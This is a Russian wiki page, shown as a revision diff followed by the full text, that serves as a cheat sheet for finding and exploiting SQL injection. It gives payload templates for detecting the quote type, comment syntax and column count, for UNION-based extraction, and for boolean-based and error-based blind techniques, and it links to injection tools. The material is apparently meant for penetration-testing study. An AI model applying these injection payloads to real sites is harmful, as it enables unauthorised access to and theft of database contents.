Sqlinj — различия между версиями
Drakylar (обсуждение | вклад) м (Добавил boolean-based) |
Drakylar (обсуждение | вклад) м |
||
Строка 108: | Строка 108: | ||
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать. | Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать. | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
====Boolean-Based==== | ====Boolean-Based==== | ||
Строка 151: | Строка 140: | ||
Если целое число, то то же самое, но без функций. | Если целое число, то то же самое, но без функций. | ||
+ | |||
+ | ====Error-Based==== | ||
+ | |||
+ | Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. | ||
+ | Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION). | ||
+ | |||
+ | =====В случае с Blind-UNION===== | ||
+ | |||
+ | Это когда смог подобрать количество колонок, но не видишь свои поля на экране. | ||
+ | |||
+ | '''Но!''' Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION. | ||
+ | |||
+ | Запрос с UNION выглядит следующим образом: | ||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса). | ||
+ | |||
+ | |||
+ | =====В случае с Boolean-Based===== | ||
+ | |||
+ | Общий запрос Boolean-Based выглядит, как: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса. | ||
====Time-Based==== | ====Time-Based==== | ||
+ | |||
+ | В случае с Time-Based требуется много угадывать, а именно: | ||
+ | |||
+ | =====Определение типа кавычки===== | ||
+ | |||
+ | См. опр | ||
Версия 07:00, 29 декабря 2018
Содержание
Вводная
Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.
Как задетектить
SELECT
UNION-Based
Определение типа кавычки
1. Найти точку ввода данных
2. Найти параметр, который возвращает какое-либо из значений.
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
{параметр} aNd 1=1
{параметр} aNd 1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1
{параметр}' aNd '1'='1
{параметр}' aNd '1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1
{параметр}" aNd "1"="1
{параметр}" aNd "1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1
(Если сработал первый пример, то {кавычка}==={пустое место} :)
Знак комментария и количество скобок
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1
{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY
Есть у MySQL,(добавить).
Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).
{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}
ORDER BY
Есть у MySQL,(добавить).
Аналогично GROUP BY.
Bruteforce
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы:
FROM dual
Итоговый запрос
Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.
Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание
В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).
LIMIT 1
LIMIT 0,1
WHERE ROWNUM=1
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.
Boolean-Based
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.
Определение типа кавычки
Смотри соответствующую графу в UNION-Based.
Итог
На всякий случай подтвердим, как будет выглядеть итоговый запрос
{параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1
А далее остается добавить ваше условие:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.
Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).
Особенности
Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.
Если целое число, то то же самое, но без функций.
Error-Based
Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).
В случае с Blind-UNION
Это когда смог подобрать количество колонок, но не видишь свои поля на экране.
Но! Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION.
Запрос с UNION выглядит следующим образом:
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса).
В случае с Boolean-Based
Общий запрос Boolean-Based выглядит, как:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса.
Time-Based
В случае с Time-Based требуется много угадывать, а именно:
Определение типа кавычки
См. опр
auth
INSERT
DELETE
UPDATE
EXEC
Как проэксплуатировать
Общее
MySQL
OracleDB
PostgreSQL
SQLite
IBM DB2
Ссылки
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt
Мануал на Рдот - один из лучших.
https://rdot.org/forum/showthread.php?t=124
TOOLS
SQLMap (crossplatform)
Havij (win)
http://sqlninja.sourceforge.net/sqlninja-howto.html